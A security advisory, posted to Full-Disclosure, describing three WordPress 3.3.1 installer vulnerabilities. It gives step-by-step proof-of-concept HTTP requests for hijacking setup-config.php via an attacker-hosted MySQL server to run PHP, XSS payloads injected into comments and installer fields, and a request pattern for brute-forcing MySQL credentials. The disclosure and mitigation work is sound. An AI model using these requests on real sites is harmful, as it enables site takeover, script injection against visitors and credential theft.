[Full-disclosure] TWSL2012-002: Multiple Vulnerabilities in WordPress

[Trustwave Advisories <TrustwaveAdvisories@xxxxxxxxxxxxx>]

Trustwave's SpiderLabs Security Advisory TWSL2012-002:
Multiple Vulnerabilities in WordPress

https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt

Published: 1/24/12
Version: 1.0

Vendor: WordPress (http://wordpress.org/)
Product: WordPress
Version affected: 3.3.1 and prior

Product description:
WordPress is a free and open source blogging tool and publishing platform
powered by PHP and MySQL.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: PHP Code Execution and Persistent Cross Site Scripting
Vulnerabilities via 'setup-config.php' page.
CVE: CVE-2011-4899

The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. This typically requires a user
to have valid MySQL credentials to complete.  However, a malicious user can
host their own MySQL database server and can successfully complete the
WordPress installation without having valid credentials on the target system.

After the successful installation of WordPress, a malicious user can inject
malicious PHP code via the WordPress Themes editor.  In addition, with control
of the database store, malicious Javascript can be injected into the content
of WordPress yielding persistent Cross Site Scripting.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server
W.X.Y.Z = Malicious User's MySQL Instance

1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306

2.) Performs POST/GET Requests to Install WordPress into MySQL Instance

Request #1
----------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) 
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit

Request #2
----------
GET /wp-admin/install.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) 
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT

3.) Get PHP Code Execution

Malicious user edits 404.php via Themes Editor as follows:

<?php
phpinfo();
?>

Note #1: Any php file in the theme could be used.
Note #2: Depending settings, PHP may be used to execute system commands
         on webserver.

Malicious user performs get request of modified page to execute code.

Request
-------
GET /wp-content/themes/default/404.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) 
Gecko/20100101 Firefox/8.0.1

4.) Get Persistent Cross Site Scripting

Malicious User Injects Malicious Javascript into their own MySQL database 
instance

MySQL Query
-----------
update wp_comments SET
comment_content='<script>alert('123')</script>' where comment_content='Hi,
this is a comment.<br />To delete \ a comment, just log in and view the
post&#039;s comments. There you will have the option to edit or delete
them.';

Non-malicious User Visits Wordpress installation and has Javascript executed on 
their browser

Request
-------
GET /?p=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) 
Gecko/20100101 Firefox/8.0.1



Finding 2: Multiple Cross Site Scripting Vulnerabilities in
'setup-config.php' page
CVE: CVE-2012-0782

The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. When using this installation page
the user is asked to supply the database name, the server that the database
resides on, and a valid MySQL username and password.

During this process, malicious users can supply javascript within
the "dbname", "dbhost" or "uname" parameters. Upon clicking the submission
button, the javascript is rendered in the client's browser.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server

Request
-------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) 
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit



Finding 3: MySQL Server Username/Password Disclosure Vulnerability via
'setup-config.php' page
CVE: CVE-2011-4898

The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. When using this installation page
the user is asked to supply the database name, the server the database resides
on, and a valid MySQL username and password.

Malicious users can omit the "dbname" parameter during this process, allowing
them to continually bruteforce MySQL instance usernames and passwords. This
includes any local or remote MySQL instances which are accessible to the
target web server. This can also be used as a method to proxy MySQL bruteforce
attacks against other MySQL instances outside of the target organization.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server
L.M.N.O = Any MySQL Server for which the Web Server has network access

Request
-------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) 
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

uname=mysql&pwd=mysql&dbhost=L.M.N.O

Response (If Password is Valid)
-------------------------------
<---snip-->
We were able to connect to the database server (which means your username
and password is okay) but not able to select the database.
<---snip-->

Response (If Password is Invalid)
---------------------------------
<---snip-->
This either means that the username and password information in your
wp-config.php file is incorrect or we can't contact the database server at
localhost. This could mean your host's database server is down.
<---snip-->


Vendor Response:
Due to the fact that the component in question is an installation script,
the vendor has stated that the attack surface is too small to warrant
a fix:

"We give priority to a better user experience at the install process. It is
unlikely a user would go to the trouble of installing a copy of WordPress
and then not finishing the setup process more-or-less immediately. The
window of opportunity for exploiting such a vulnerability is very small."

However, Trustwave SpiderLabs urges caution in situations where the
WordPress installation script is provided as part of a default image.
This is  often done as a convenience on hosting providers, even in
cases where the client does not use the software. It is a best practice
to ensure  that no installation scripts are exposed to outsiders, and
these vulnerabilities reinforce the importance of this step.


Remediation Steps:
No official fix for these issues will be released for the WordPress
publishing platform. However, administrators can mitigate these issues by
creating strong MySQL passwords and defining rules within a web application
firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has
added rules to the commercial rules feed for these issues, and Trustwave's
vulnerability scanning solution, TrustKeeper, has been updated to detect
exposed installation scripts.


Vendor Communication Timeline:
12/22/11 - Vulnerability disclosed
01/16/12 - Confirmation to release vulnerabilities
01/24/12 - Advisory published


References
1. http://www.wordpress.org


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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